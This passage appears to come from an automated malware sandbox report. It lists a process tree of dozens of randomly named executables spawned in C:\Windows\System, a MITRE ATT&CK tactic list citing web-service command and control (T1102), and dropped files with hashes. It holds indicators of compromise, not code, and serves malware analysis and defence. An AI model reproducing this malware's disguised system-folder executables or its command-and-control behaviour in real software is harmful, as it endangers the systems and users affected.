- C:\Windows\System\jPPvYtB.exe
  C:\Windows\System\jPPvYtB.exe
  2⤵
  PID:4712
- C:\Windows\System\oPbhPjD.exe
  C:\Windows\System\oPbhPjD.exe
  2⤵
  PID:3444
- C:\Windows\System\JMOSavh.exe
  C:\Windows\System\JMOSavh.exe
  2⤵
  PID:4840
- C:\Windows\System\kZbGjyc.exe
  C:\Windows\System\kZbGjyc.exe
  2⤵
  PID:8
- C:\Windows\System\dtYXhtt.exe
  C:\Windows\System\dtYXhtt.exe
  2⤵
  PID:2588
- C:\Windows\System\LuKGrAh.exe
  C:\Windows\System\LuKGrAh.exe
  2⤵
  PID:4276
- C:\Windows\System\zaNwOqI.exe
  C:\Windows\System\zaNwOqI.exe
  2⤵
  PID:4156
- C:\Windows\System\RyEeBhI.exe
  C:\Windows\System\RyEeBhI.exe
  2⤵
  PID:764
- C:\Windows\System\lyNvJPB.exe
  C:\Windows\System\lyNvJPB.exe
  2⤵
  PID:4072
- C:\Windows\System\HUEmfqV.exe
  C:\Windows\System\HUEmfqV.exe
  2⤵
  PID:14060
- C:\Windows\System\ZgOhgxu.exe
  C:\Windows\System\ZgOhgxu.exe
  2⤵
  PID:3528
- C:\Windows\System\URcARCb.exe
  C:\Windows\System\URcARCb.exe
  2⤵
  PID:3220
- C:\Windows\System\iYQdMNC.exe
  C:\Windows\System\iYQdMNC.exe
  2⤵
  PID:1084
- C:\Windows\System\NWzFBmF.exe
  C:\Windows\System\NWzFBmF.exe
  2⤵
  PID:2508
- C:\Windows\System\TnsEeXi.exe
  C:\Windows\System\TnsEeXi.exe
  2⤵
  PID:4092
- C:\Windows\System\jieQofB.exe
  C:\Windows\System\jieQofB.exe
  2⤵
  PID:4272
- C:\Windows\System\pAjvfST.exe
  C:\Windows\System\pAjvfST.exe
  2⤵
  PID:13980
- C:\Windows\System\VpRqxmC.exe
  C:\Windows\System\VpRqxmC.exe
  2⤵
  PID:4260
- C:\Windows\System\atjtRxQ.exe
  C:\Windows\System\atjtRxQ.exe
  2⤵
  PID:4580
- C:\Windows\System\BNLwYVa.exe
  C:\Windows\System\BNLwYVa.exe
  2⤵
  PID:3576
- C:\Windows\System\QCJGFXb.exe
  C:\Windows\System\QCJGFXb.exe
  2⤵
  PID:4236
- C:\Windows\System\zsNbsWG.exe
  C:\Windows\System\zsNbsWG.exe
  2⤵
  PID:13672
- C:\Windows\System\majhFKT.exe
  C:\Windows\System\majhFKT.exe
  2⤵
  PID:2200
- C:\Windows\System\joBjRQH.exe
  C:\Windows\System\joBjRQH.exe
  2⤵
  PID:2720
- C:\Windows\System\eAGxFAX.exe
  C:\Windows\System\eAGxFAX.exe
  2⤵
  PID:1256
- C:\Windows\System\plCbvnf.exe
  C:\Windows\System\plCbvnf.exe
  2⤵
  PID:4180
- C:\Windows\System\sTCFGRa.exe
  C:\Windows\System\sTCFGRa.exe
  2⤵
  PID:14352
- C:\Windows\System\zQXVsds.exe
  C:\Windows\System\zQXVsds.exe
  2⤵
  PID:14368
- C:\Windows\System\jsiheKy.exe
  C:\Windows\System\jsiheKy.exe
  2⤵
  PID:14384
- C:\Windows\System\hcvnUCr.exe
  C:\Windows\System\hcvnUCr.exe
  2⤵
  PID:14400
- C:\Windows\System\hjjUIKb.exe
  C:\Windows\System\hjjUIKb.exe
  2⤵
  PID:14416
- C:\Windows\System\qLGTaoo.exe
  C:\Windows\System\qLGTaoo.exe
  2⤵
  PID:14432
- C:\Windows\System\dzEtlUV.exe
  C:\Windows\System\dzEtlUV.exe
  2⤵
  PID:14448
- C:\Windows\System\vOQpgPU.exe
  C:\Windows\System\vOQpgPU.exe
  2⤵
  PID:14464
- C:\Windows\System\qutfURF.exe
  C:\Windows\System\qutfURF.exe
  2⤵
  PID:15156
- C:\Windows\System\IJONJJu.exe
  C:\Windows\System\IJONJJu.exe
  2⤵
  PID:15172
- C:\Windows\System\wApZKGH.exe
  C:\Windows\System\wApZKGH.exe
  2⤵
  PID:15188
- C:\Windows\System\EzOlopy.exe
  C:\Windows\System\EzOlopy.exe
  2⤵
  PID:15204
- C:\Windows\System\TrBLabg.exe
  C:\Windows\System\TrBLabg.exe
  2⤵
  PID:15220
- C:\Windows\System\ivYOJKY.exe
  C:\Windows\System\ivYOJKY.exe
  2⤵
  PID:15236
- C:\Windows\System\pBMiYlV.exe
  C:\Windows\System\pBMiYlV.exe
  2⤵
  PID:15256
- C:\Windows\System\accOVFr.exe
  C:\Windows\System\accOVFr.exe
  2⤵
  PID:15272
- C:\Windows\System\BBfBiTf.exe
  C:\Windows\System\BBfBiTf.exe
  2⤵
  PID:15288
- C:\Windows\System\zDyQTut.exe
  C:\Windows\System\zDyQTut.exe
  2⤵
  PID:15304
- C:\Windows\System\totsZhL.exe
  C:\Windows\System\totsZhL.exe
  2⤵
  PID:15320
- C:\Windows\System\JZVYLfL.exe
  C:\Windows\System\JZVYLfL.exe
  2⤵
  PID:15336
- C:\Windows\System\mwPxrVY.exe
  C:\Windows\System\mwPxrVY.exe
  2⤵
  PID:15352
- C:\Windows\System\xjZPSAv.exe
  C:\Windows\System\xjZPSAv.exe
  2⤵
  PID:14360
- C:\Windows\System\cYriPwJ.exe
  C:\Windows\System\cYriPwJ.exe
  2⤵
  PID:14392
- C:\Windows\System\DRcBgpj.exe
  C:\Windows\System\DRcBgpj.exe
  2⤵
  PID:14408
- C:\Windows\System\ncldTVL.exe
  C:\Windows\System\ncldTVL.exe
  2⤵
  PID:14428
- C:\Windows\System\axVFrDo.exe
  C:\Windows\System\axVFrDo.exe
  2⤵
  PID:14476
- C:\Windows\System\SVGqiLE.exe
  C:\Windows\System\SVGqiLE.exe
  2⤵
  PID:14492
- C:\Windows\System\BdGZLXE.exe
  C:\Windows\System\BdGZLXE.exe
  2⤵
  PID:14760
- C:\Windows\System\MabWZmG.exe
  C:\Windows\System\MabWZmG.exe
  2⤵
  PID:14776
- C:\Windows\System\aapqjUX.exe
  C:\Windows\System\aapqjUX.exe
  2⤵
  PID:14792
- C:\Windows\System\nGDDsZk.exe
  C:\Windows\System\nGDDsZk.exe
  2⤵
  PID:14816
- C:\Windows\System\GZXHuaQ.exe
  C:\Windows\System\GZXHuaQ.exe
  2⤵
  PID:14832
- C:\Windows\System\hKpJPLZ.exe
  C:\Windows\System\hKpJPLZ.exe
  2⤵
  PID:14852
- C:\Windows\System\MYErHar.exe
  C:\Windows\System\MYErHar.exe
  2⤵
  PID:14868
- C:\Windows\System\SJVZXhH.exe
  C:\Windows\System\SJVZXhH.exe
  2⤵
  PID:14884
- C:\Windows\System\AzKWBDN.exe
  C:\Windows\System\AzKWBDN.exe
  2⤵
  PID:14896
- C:\Windows\System\PqlOmMG.exe
  C:\Windows\System\PqlOmMG.exe
  2⤵
  PID:14912
- C:\Windows\System\atAMiwr.exe
  C:\Windows\System\atAMiwr.exe
  2⤵
  PID:14932
- C:\Windows\System\ipMuVgz.exe
  C:\Windows\System\ipMuVgz.exe
  2⤵
  PID:14952
- C:\Windows\System\wWNNjWJ.exe
  C:\Windows\System\wWNNjWJ.exe
  2⤵
  PID:14968
- C:\Windows\System\EsXnxqb.exe
  C:\Windows\System\EsXnxqb.exe
  2⤵
  PID:14984
- C:\Windows\System\WJpGAEy.exe
  C:\Windows\System\WJpGAEy.exe
  2⤵
  PID:15004
- C:\Windows\System\uTPuatK.exe
  C:\Windows\System\uTPuatK.exe
  2⤵
  PID:15024
- C:\Windows\System\wtbiEXW.exe
  C:\Windows\System\wtbiEXW.exe
  2⤵
  PID:15048
- C:\Windows\System\QwvDtFx.exe
  C:\Windows\System\QwvDtFx.exe
  2⤵
  PID:15072
- C:\Windows\System\vpMBNMn.exe
  C:\Windows\System\vpMBNMn.exe
  2⤵
  PID:15092
- C:\Windows\System\QuNfsAq.exe
  C:\Windows\System\QuNfsAq.exe
  2⤵
  PID:15124
- C:\Windows\System\WyehZan.exe
  C:\Windows\System\WyehZan.exe
  2⤵
  PID:15140
- C:\Windows\System\xVqAXvu.exe
  C:\Windows\System\xVqAXvu.exe
  2⤵
  PID:2644
- C:\Windows\System\vwYMgOg.exe
  C:\Windows\System\vwYMgOg.exe
  2⤵
  PID:15232
- C:\Windows\System\gtKZGOV.exe
  C:\Windows\System\gtKZGOV.exe
  2⤵
  PID:15284
- C:\Windows\System\HqDImjZ.exe
  C:\Windows\System\HqDImjZ.exe
  2⤵
  PID:15328
- C:\Windows\System\JRiuvyO.exe
  C:\Windows\System\JRiuvyO.exe
  2⤵
  PID:14344
- C:\Windows\System\blfwEnD.exe
  C:\Windows\System\blfwEnD.exe
  2⤵
  PID:14424
- C:\Windows\System\IQacxQe.exe
  C:\Windows\System\IQacxQe.exe
  2⤵
  PID:14456
- C:\Windows\System\YSOEXQV.exe
  C:\Windows\System\YSOEXQV.exe
  2⤵
  PID:14516
- C:\Windows\System\Gwzaeri.exe
  C:\Windows\System\Gwzaeri.exe
  2⤵
  PID:14552
- C:\Windows\System\ORvOjvr.exe
  C:\Windows\System\ORvOjvr.exe
  2⤵
  PID:14576
- C:\Windows\System\BnjTPfN.exe
  C:\Windows\System\BnjTPfN.exe
  2⤵
  PID:14588
- C:\Windows\System\hApQqzl.exe
  C:\Windows\System\hApQqzl.exe
  2⤵
  PID:14608
- C:\Windows\System\tHzRRWU.exe
  C:\Windows\System\tHzRRWU.exe
  2⤵
  PID:14644
- C:\Windows\System\vkwGkSW.exe
  C:\Windows\System\vkwGkSW.exe
  2⤵
  PID:14752
- C:\Windows\System\zBDYrKj.exe
  C:\Windows\System\zBDYrKj.exe
  2⤵
  PID:14624
- C:\Windows\System\pvEagAZ.exe
  C:\Windows\System\pvEagAZ.exe
  2⤵
  PID:14656
- C:\Windows\System\rdXPkHp.exe
  C:\Windows\System\rdXPkHp.exe
  2⤵
  PID:14732
- C:\Windows\System\qjJeina.exe
  C:\Windows\System\qjJeina.exe
  2⤵
  PID:14860
- C:\Windows\System\ppqFsNz.exe
  C:\Windows\System\ppqFsNz.exe
  2⤵
  PID:14888
- C:\Windows\System\qUkzTGh.exe
  C:\Windows\System\qUkzTGh.exe
  2⤵
  PID:14924
- C:\Windows\System\KZHtUKQ.exe
  C:\Windows\System\KZHtUKQ.exe
  2⤵
  PID:1688
- C:\Windows\System\gImHDFk.exe
  C:\Windows\System\gImHDFk.exe
  2⤵
  PID:14976
- C:\Windows\System\axNGKTb.exe
  C:\Windows\System\axNGKTb.exe
  2⤵
  PID:396
- C:\Windows\System\QqkDajN.exe
  C:\Windows\System\QqkDajN.exe
  2⤵
  PID:15016
- C:\Windows\System\fEVzcVC.exe
  C:\Windows\System\fEVzcVC.exe
  2⤵
  PID:15060
- C:\Windows\System\fDKKfUC.exe
  C:\Windows\System\fDKKfUC.exe
  2⤵
  PID:4188
- C:\Windows\System\cUBGtyw.exe
  C:\Windows\System\cUBGtyw.exe
  2⤵
  PID:15104
- C:\Windows\System\fZjZkni.exe
  C:\Windows\System\fZjZkni.exe
  2⤵
  PID:15180
- C:\Windows\System\ritjwpP.exe
  C:\Windows\System\ritjwpP.exe
  2⤵
  PID:1824
- C:\Windows\System\MCZCrbz.exe
  C:\Windows\System\MCZCrbz.exe
  2⤵
  PID:15264
- C:\Windows\System\XApmvKN.exe
  C:\Windows\System\XApmvKN.exe
  2⤵
  PID:3068
- C:\Windows\System\CqfjkVb.exe
  C:\Windows\System\CqfjkVb.exe
  2⤵
  PID:14376
- C:\Windows\System\URaOcDL.exe
  C:\Windows\System\URaOcDL.exe
  2⤵
  PID:1892
- C:\Windows\System\CvCUBKT.exe
  C:\Windows\System\CvCUBKT.exe
  2⤵
  PID:5732
- C:\Windows\System\gUolQWE.exe
  C:\Windows\System\gUolQWE.exe
  2⤵
  PID:14512
- C:\Windows\System\HvEURZB.exe
  C:\Windows\System\HvEURZB.exe
  2⤵
  PID:2872
- C:\Windows\System\xtdOqke.exe
  C:\Windows\System\xtdOqke.exe
  2⤵
  PID:3456
- C:\Windows\System\wGxAgNn.exe
  C:\Windows\System\wGxAgNn.exe
  2⤵
  PID:14584
- C:\Windows\System\QCZGvQv.exe
  C:\Windows\System\QCZGvQv.exe
  2⤵
  PID:14636
- C:\Windows\System\qwSNcwR.exe
  C:\Windows\System\qwSNcwR.exe
  2⤵
  PID:14676
- C:\Windows\System\CjlPTYv.exe
  C:\Windows\System\CjlPTYv.exe
  2⤵
  PID:4780
- C:\Windows\System\GdqZjcY.exe
  C:\Windows\System\GdqZjcY.exe
  2⤵
  PID:14620
- C:\Windows\System\UZvZbAR.exe
  C:\Windows\System\UZvZbAR.exe
  2⤵
  PID:1464
- C:\Windows\System\dGLvXkq.exe
  C:\Windows\System\dGLvXkq.exe
  2⤵
  PID:3480
- C:\Windows\System\sPQFPPP.exe
  C:\Windows\System\sPQFPPP.exe
  2⤵
  PID:14688
- C:\Windows\System\ncEwkoz.exe
  C:\Windows\System\ncEwkoz.exe
  2⤵
  PID:14720
- C:\Windows\System\IwXEsMU.exe
  C:\Windows\System\IwXEsMU.exe
  2⤵
  PID:5016
- C:\Windows\System\JLlVfqf.exe
  C:\Windows\System\JLlVfqf.exe
  2⤵
  PID:2340
- C:\Windows\System\YmfdADw.exe
  C:\Windows\System\YmfdADw.exe
  2⤵
  PID:4552
- C:\Windows\System\dTmwdfd.exe
  C:\Windows\System\dTmwdfd.exe
  2⤵
  PID:1592
- C:\Windows\System\jrxJTLI.exe
  C:\Windows\System\jrxJTLI.exe
  2⤵
  PID:1220
- C:\Windows\System\uBKBSoJ.exe
  C:\Windows\System\uBKBSoJ.exe
  2⤵
  PID:4396
- C:\Windows\System\QrIpBed.exe
  C:\Windows\System\QrIpBed.exe
  2⤵
  PID:14944
- C:\Windows\System\qhSOjlV.exe
  C:\Windows\System\qhSOjlV.exe
  2⤵
  PID:3304
- C:\Windows\System\aMKAcfw.exe
  C:\Windows\System\aMKAcfw.exe
  2⤵
  PID:14920
- C:\Windows\System\EohpUGx.exe
  C:\Windows\System\EohpUGx.exe
  2⤵
  PID:4368
- C:\Windows\System\SUvPgMa.exe
  C:\Windows\System\SUvPgMa.exe
  2⤵
  PID:14880
- C:\Windows\System\teglWXP.exe
  C:\Windows\System\teglWXP.exe
  2⤵
  PID:14904
- C:\Windows\System\eaAuuLf.exe
  C:\Windows\System\eaAuuLf.exe
  2⤵
  PID:1728
- C:\Windows\System\lUPkVIf.exe
  C:\Windows\System\lUPkVIf.exe
  2⤵
  PID:15020
- C:\Windows\System\XYOnDEl.exe
  C:\Windows\System\XYOnDEl.exe
  2⤵
  PID:5312
- C:\Windows\System\vpeoSoD.exe
  C:\Windows\System\vpeoSoD.exe
  2⤵
  PID:15036
- C:\Windows\System\VXIwCxv.exe
  C:\Windows\System\VXIwCxv.exe
  2⤵
  PID:5284
- C:\Windows\System\tJvxuuu.exe
  C:\Windows\System\tJvxuuu.exe
  2⤵
  PID:5204
- C:\Windows\System\YYfNMxJ.exe
  C:\Windows\System\YYfNMxJ.exe
  2⤵
  PID:15068
- C:\Windows\System\QcaJgPT.exe
  C:\Windows\System\QcaJgPT.exe
  2⤵
  PID:5508
- C:\Windows\System\pQCYjwP.exe
  C:\Windows\System\pQCYjwP.exe
  2⤵
  PID:3876
- C:\Windows\System\mKXAkkF.exe
  C:\Windows\System\mKXAkkF.exe
  2⤵
  PID:3996
- C:\Windows\System\WGFmfWc.exe
  C:\Windows\System\WGFmfWc.exe
  2⤵
  PID:4420
- C:\Windows\System\HbgyVhB.exe
  C:\Windows\System\HbgyVhB.exe
  2⤵
  PID:5600
- C:\Windows\System\eZfTIgK.exe
  C:\Windows\System\eZfTIgK.exe
  2⤵
  PID:15280
- C:\Windows\System\avIajNH.exe
  C:\Windows\System\avIajNH.exe
  2⤵
  PID:15348
- C:\Windows\System\RDMPAku.exe
  C:\Windows\System\RDMPAku.exe
  2⤵
  PID:15100
- C:\Windows\System\YcLSTGS.exe
  C:\Windows\System\YcLSTGS.exe
  2⤵
  PID:5664
- C:\Windows\System\RyIRbnF.exe
  C:\Windows\System\RyIRbnF.exe
  2⤵
  PID:3184
- C:\Windows\System\mZHqLQy.exe
  C:\Windows\System\mZHqLQy.exe
  2⤵
  PID:15164
- C:\Windows\System\ZVKdMlY.exe
  C:\Windows\System\ZVKdMlY.exe
  2⤵
  PID:1620
- C:\Windows\System\xUqGTxP.exe
  C:\Windows\System\xUqGTxP.exe
  2⤵
  PID:5608
- C:\Windows\System\izEZDha.exe
  C:\Windows\System\izEZDha.exe
  2⤵
  PID:14560
- C:\Windows\System\mpvPIYC.exe
  C:\Windows\System\mpvPIYC.exe
  2⤵
  PID:14536
- C:\Windows\System\Yhaawgq.exe
  C:\Windows\System\Yhaawgq.exe
  2⤵
  PID:5564
- C:\Windows\System\PSVgVSc.exe
  C:\Windows\System\PSVgVSc.exe
  2⤵
  PID:14684
- C:\Windows\System\yDhqIRP.exe
  C:\Windows\System\yDhqIRP.exe
  2⤵
  PID:5640
- C:\Windows\System\DuheQrj.exe
  C:\Windows\System\DuheQrj.exe
  2⤵
  PID:5576
- C:\Windows\System\NgDmirg.exe
  C:\Windows\System\NgDmirg.exe
  2⤵
  PID:5764
- C:\Windows\System\zExZvGs.exe
  C:\Windows\System\zExZvGs.exe
  2⤵
  PID:2240
- C:\Windows\System\qJbHvwE.exe
  C:\Windows\System\qJbHvwE.exe
  2⤵
  PID:14628
- C:\Windows\System\TVeFsXs.exe
  C:\Windows\System\TVeFsXs.exe
  2⤵
  PID:5760
- C:\Windows\System\iRowBGW.exe
  C:\Windows\System\iRowBGW.exe
  2⤵
  PID:6000
- C:\Windows\System\gOGYnmU.exe
  C:\Windows\System\gOGYnmU.exe
  2⤵
  PID:14748
- C:\Windows\System\aRzpoMi.exe
  C:\Windows\System\aRzpoMi.exe
  2⤵
  PID:2028
- C:\Windows\System\pqKoSDo.exe
  C:\Windows\System\pqKoSDo.exe
  2⤵
  PID:1632
- C:\Windows\System\uryVqeu.exe
  C:\Windows\System\uryVqeu.exe
  2⤵
  PID:5876
- C:\Windows\System\VjSnueT.exe
  C:\Windows\System\VjSnueT.exe
  2⤵
  PID:6020
- C:\Windows\System\bYibQgk.exe
  C:\Windows\System\bYibQgk.exe
  2⤵
  PID:5920
- C:\Windows\System\jvVacok.exe
  C:\Windows\System\jvVacok.exe
  2⤵
  PID:6036
- C:\Windows\System\SLNGlVg.exe
  C:\Windows\System\SLNGlVg.exe
  2⤵
  PID:14640
- C:\Windows\System\nTXeBwp.exe
  C:\Windows\System\nTXeBwp.exe
  2⤵
  PID:15008
- C:\Windows\System\aUTRCtd.exe
  C:\Windows\System\aUTRCtd.exe
  2⤵
  PID:6028
- C:\Windows\System\cbdQDMg.exe
  C:\Windows\System\cbdQDMg.exe
  2⤵
  PID:6040
- C:\Windows\System\kQsilMy.exe
  C:\Windows\System\kQsilMy.exe
  2⤵
  PID:6048
- C:\Windows\System\fYUTZkM.exe
  C:\Windows\System\fYUTZkM.exe
  2⤵
  PID:6056
- C:\Windows\System\XAtuYev.exe
  C:\Windows\System\XAtuYev.exe
  2⤵
  PID:15088
- C:\Windows\System\MBHjNbn.exe
  C:\Windows\System\MBHjNbn.exe
  2⤵
  PID:3464
- C:\Windows\System\egVnrDf.exe
  C:\Windows\System\egVnrDf.exe
  2⤵
  PID:2568
- C:\Windows\System\xTKXmfc.exe
  C:\Windows\System\xTKXmfc.exe
  2⤵
  PID:14724
- C:\Windows\System\yrUGCxD.exe
  C:\Windows\System\yrUGCxD.exe
  2⤵
  PID:14728
- C:\Windows\System\Spczhcv.exe
  C:\Windows\System\Spczhcv.exe
  2⤵
  PID:1476
- C:\Windows\System\rlZNvYP.exe
  C:\Windows\System\rlZNvYP.exe
  2⤵
  PID:4804
- C:\Windows\System\NlyXBeV.exe
  C:\Windows\System\NlyXBeV.exe
  2⤵
  PID:2656
- C:\Windows\System\CBeRkxt.exe
  C:\Windows\System\CBeRkxt.exe
  2⤵
  PID:14740
- C:\Windows\System\UHQYuyi.exe
  C:\Windows\System\UHQYuyi.exe
  2⤵
  PID:14824
- C:\Windows\System\MlvoTkz.exe
  C:\Windows\System\MlvoTkz.exe
  2⤵
  PID:428
- C:\Windows\System\wCgfNbK.exe
  C:\Windows\System\wCgfNbK.exe
  2⤵
  PID:4408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5auyusn.uww.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\CauqbWf.exe

Filesize
1.8MB

MD5
ef18bd22d5638e253971870e025fd253

SHA1
eb12a4fcdc47850b5f7253b2aa8148c6e3554783

SHA256
2be4ade684c9b156493d5eca7f3538ec03a41ea0d82301f5f5cd8e395a2c049e

SHA512
ee5982d9fc71ab84fe3f5d9db41baa48c181e072edc8c076471eb5012243929cd8fc3167c98bf9c030f263b2bc67861cdfbaa0b930fe068930f85e8d22ee2282

Download Submit
C:\Windows\System\CknOSJw.exe

Filesize
1.8MB

MD5
0342c4dbeb4fe625fcbbde5839850d61

SHA1
e2d3eb32df11220fa8f22267a602acac27445eae

SHA256
03ec9a6760b69e58dbfd998bacda7346feec259f7ac2cab050e92bc0a54d3d0c

SHA512
80b0c285bf80bf79b4aef7510b93b3522bdb5bea104a58a61de9e9a7263da3e845e9d8bceea08515fba989c36e31af7d53228ee3ab46f850291b7ac656674ff2

Download Submit
C:\Windows\System\GlAtmCr.exe

Filesize
1.8MB

MD5
13358bad26afc24377885fa998754be4

SHA1
9f6955d4493d7892e613387cd2f5491b29a270f3

SHA256
38ab6f7f9c8b784c67b9672fb39594d38f9c1de45293b12a5bba0fe4fd59b302

SHA512
4acab489c703ec8252153ff6e0ab87810e86375b55ffa0bce0a1fb7a605f12feb4b52afb301beb70e33a126cfa2b6ce3f870ed65a7734369fd27c3eb365cf1d1

Download Submit
C:\Windows\System\JDkxoby.exe

Filesize
1.8MB

MD5
c45216b0d2e2bc9b399bca5445d4ec7f

SHA1
a116955fa668313264073b822dc2a549b4fc4fa6

SHA256
05908032b5e0a40115a85e0f171e170e4a88d25f010ba2a1fb79482ae0601859

SHA512
e9ce366fbeb51804c277b965c3dc300adfc7807cd710c1437a45a1826beaa78b170f3bb62d8060a28ebc7dd571bb50cc479db369ac22bbf40cadd6249af829f5

Download Submit
C:\Windows\System\KPkrJCR.exe

Filesize
1.8MB

MD5
059dee8be6f4c64a007b64a9b58ca4fe

SHA1
87447c2fe9a51f3ddd9c239e5807cdc9499063e0

SHA256
75ee97f14cb5d6dc58ea94aee27d65b4a13f995648974a26f409676a60893536

SHA512
e2abcbb16b53176f9af1642d67d6ed91a48f1fa1c24249e4e99c99203added3c2d526ee15f405bf85a2080b27710cc97cb6e3ed0b22e3db0e74401f664bdfd5e

Download Submit
C:\Windows\System\KYMFbhp.exe

Filesize
1.8MB

MD5
41407529acb07ed90d66c27d6858f03a

SHA1
3fcc4b523eb9a4c385ddc908a9302fc993cf6228

SHA256
b8a8559d987018b9f079f126e80533a0035d9c8655c5677f82c0b9ec427ed13b

SHA512
51942d7e4921b30dc0127d19ffe19e3637de59cba8391dbcb0208f625b72a6b7817be50f8e0da390e0f59f5516df76e2cefe6758e8cc3a629c5fc64a5f0b172f

Download Submit
C:\Windows\System\LTcVeyo.exe

Filesize
8B

MD5
0a4d9fd0cc8fe1472d155d5d981ff235

SHA1
137003f778b74f1b96494293112b43e4307e765e

SHA256
4707e767d70e4899759ce8aba6535007a27f8c132e3f3e05b8b8ae03c23dd080

SHA512
ad9c5b802b25d2a28cbec3d4cc246b638fad901bd44704bb559f8a0cf5c0d25f339a2e2fe9f4b8bbba249477fc11b0b14c51d97cfa76d081fb255f90811dd5c7

Download Submit
C:\Windows\System\MuiLdOq.exe

Filesize
1.8MB

MD5
21246e6c0c08c88e757fb7a47c56f028

SHA1
b49bd1feb01fbb86a60701d2685e291a23028f01

SHA256
5f970a392dc2b1ef1bf81cd42499670fcb1d751e8e8988bd18c5923ef230081d

SHA512
2bc27831956e668234b70cea0d78e446f7c75a9124d3b8c7532acdc178709b67fd93caa1577e2a6c01a55c60ae46f9004c4a35532962f5a62367470bf0355a46

Download Submit
C:\Windows\System\NvbVlFX.exe

Filesize
1.8MB

MD5
9c610506319606ae2c34dd276e8dc0f4

SHA1
16a146dfc8b9abf80d994f21ad80f5194279f397

SHA256
c2d49feb09daa06e2aac4af3cd52872d7b04a56712d594bb01c0c3015eac2008

SHA512
a1e1b38d72aa593ae5a6575427db20bc397fba0d28072ecc17d80c920b83169565ec25375550b5f4a72a6a5c115ded254d463be961e9b436d17714a9d8db7260

Download Submit
C:\Windows\System\OsqSnLG.exe

Filesize
1.8MB

MD5
a6b043d27775a1a11611021cf0aa8656

SHA1
3bae5a2c7c4a857af4c0903823e4d5af4a53594f

SHA256
8e1a3a35d330a009d25deb15c28e4e89535179b251c21da410c94683dd2f8646

SHA512
f0a6fb79931832c5c35ccea35e1b908a4baaa2296bf05c853d22378a0839f99b7c0df1c226252232c999156690354fbf12b305736dfe3fc324f9f2d499e6d1a6

Download Submit
C:\Windows\System\OtgCWPh.exe

Filesize
1.8MB

MD5
9eaf7e2a6c5516251a5b165ab74ddbfc

SHA1
72a86bf8c4cd0f56687fac1197aa650af0e7614b

SHA256
ac0fe508cce95662b91f349b26eaf768f7bce8b2a920464c39b63955fb8a1e30

SHA512
a449a3d76f9e1ad723c38db3aa36fb2a82691fe78d46cf8c62f4d4ef79fd471c5c5cfeed010cade1aae458a2a3a461e4054f3ad805818c03f97b477b0b93cfb9

Download Submit
C:\Windows\System\SqdxEdJ.exe

Filesize
1.8MB

MD5
d5b8cbd3f7573cb490e96a21bd999de4

SHA1
8bac2c7d21ee363b056bc56516c122fa3cc11868

SHA256
3c142303590b794691b23db16ced733f34d7b8972033db046bfacd6ad13b45b2

SHA512
1670039a227e1ffea44028d42f157951de41d5d8d8c769066d9c449a3c23376f6a502ccf25b80e34aec7bcc6b15b2f2f9c9047f5d8f0a9392474a9a94f313453

Download Submit
C:\Windows\System\UFthnAf.exe

Filesize
1.8MB

MD5
2e221e11e423f65b9ed94a29697c7993

SHA1
5576df91667bcaac4541d6d83b3ace7e2a9aa917

SHA256
028376a1b64a94c40d3f641dd8488fc7aa0645dae59beab6a7756d16c7ee0f53

SHA512
ace62719207455a2b15d8c4414a59d2164b74510a2a7c98410e319a36b69fb442c684cc4f4218718d725d1969063ae820c7dd6f1cda29af879a24e8ac87f8488

Download Submit
C:\Windows\System\UZqlZRO.exe

Filesize
1.8MB

MD5
b9255e84077dc80307af3108b2cc6358

SHA1
dc647b43e20ab39f3f198094d47418aa4b737143

SHA256
727d18e86f81a15e48ad987cdebc529564d1c4c423731dda9d79881504051733

SHA512
e8109e8bcd349c1d340e150ba242fe1cc028ef8e5a83e6d0d93f22c90c5ec9b66ecc8792e84e14e5c4be27931c3b267ae286d928b354590d19aba28076f3b055

Download Submit
C:\Windows\System\UvJyfcV.exe

Filesize
1.8MB

MD5
360cc280c222daf59c8aa6bb87ec6917

SHA1
3c6f8a836dd75c09a072a166f9a251821e7c4108

SHA256
402a085013a2a00f5ee50c62a760e96398d7f820e3683dbed825c96236b06e9d

SHA512
ec49cfd8c50866f02ccee55fe83e0cf236036e4a8b405f2659b815098a2d0817d736b73e2eeb8fa0bf2d823c25dae7d8014ff6fe9449270dfa05f82ef878a04e

Download Submit
C:\Windows\System\VNuNeej.exe

Filesize
1.8MB

MD5
b56b8decce8ba86b597423b6d440da5f

SHA1
b78b0e32d8fc536bb589e3fb7fc0fb870036ea27

SHA256
3502911018b813efeb3cbd0c35ceb0a9980eedd29d9f35a3f57166b154d5400f

SHA512
60f6d0fa48584cb0e7cf8d3b1e88abea494ca2944fcdd3b3407c9fc963fd6c97732fe97b022f83dca1e39ec653765164a8de2b164133f4df524389fc458b2fe5

Download Submit
C:\Windows\System\VwXYivg.exe

Filesize
1.8MB

MD5
f63197116ad2658d2fb67e00f337461e

SHA1
8c7cfefd83bfc6938fd40bb3b718bb7cb400b205

SHA256
04f5d538d954389a8f9608b06bd0358c12f8dadb84d0b6f3cc3f911119ea3bf1

SHA512
91ddc1f8f579ce59f54198a61a42ffa88d9897a0d87a638901c064adb2cb763d5a9b131492633c37cec672423394fa6c93a9c5a9b3acd6bf849b22eaed17d4c7

Download Submit
C:\Windows\System\btlfdgE.exe

Filesize
1.8MB

MD5
57442c983147053fdc659f3ecf1ec3c0

SHA1
c0fd25f8c63e286caff819275728e33f6236b389

SHA256
3caf0a6025a84f1cb147e8166450b65b17b73c53a09b9c0cb37cd09995a51c49

SHA512
5f5f13fbc4b82530428f0ed257c3e99c404e1ae9eacc2c438d575837e5eb532a5b4775bbc52097eabf4f7d0bfbc1e240a32f258f168f20036c8821bc76502425

Download Submit
C:\Windows\System\bupQMVo.exe

Filesize
1.8MB

MD5
edd986c322cd63b9e586b2b5b0fe4c59

SHA1
4e66504d299ad4148cadacee5a9a58dddac12109

SHA256
d32fd5fc041fa6f3a5fcf76561c3cf9e79f7621c03b510f0b3c32ae36a7bf21c

SHA512
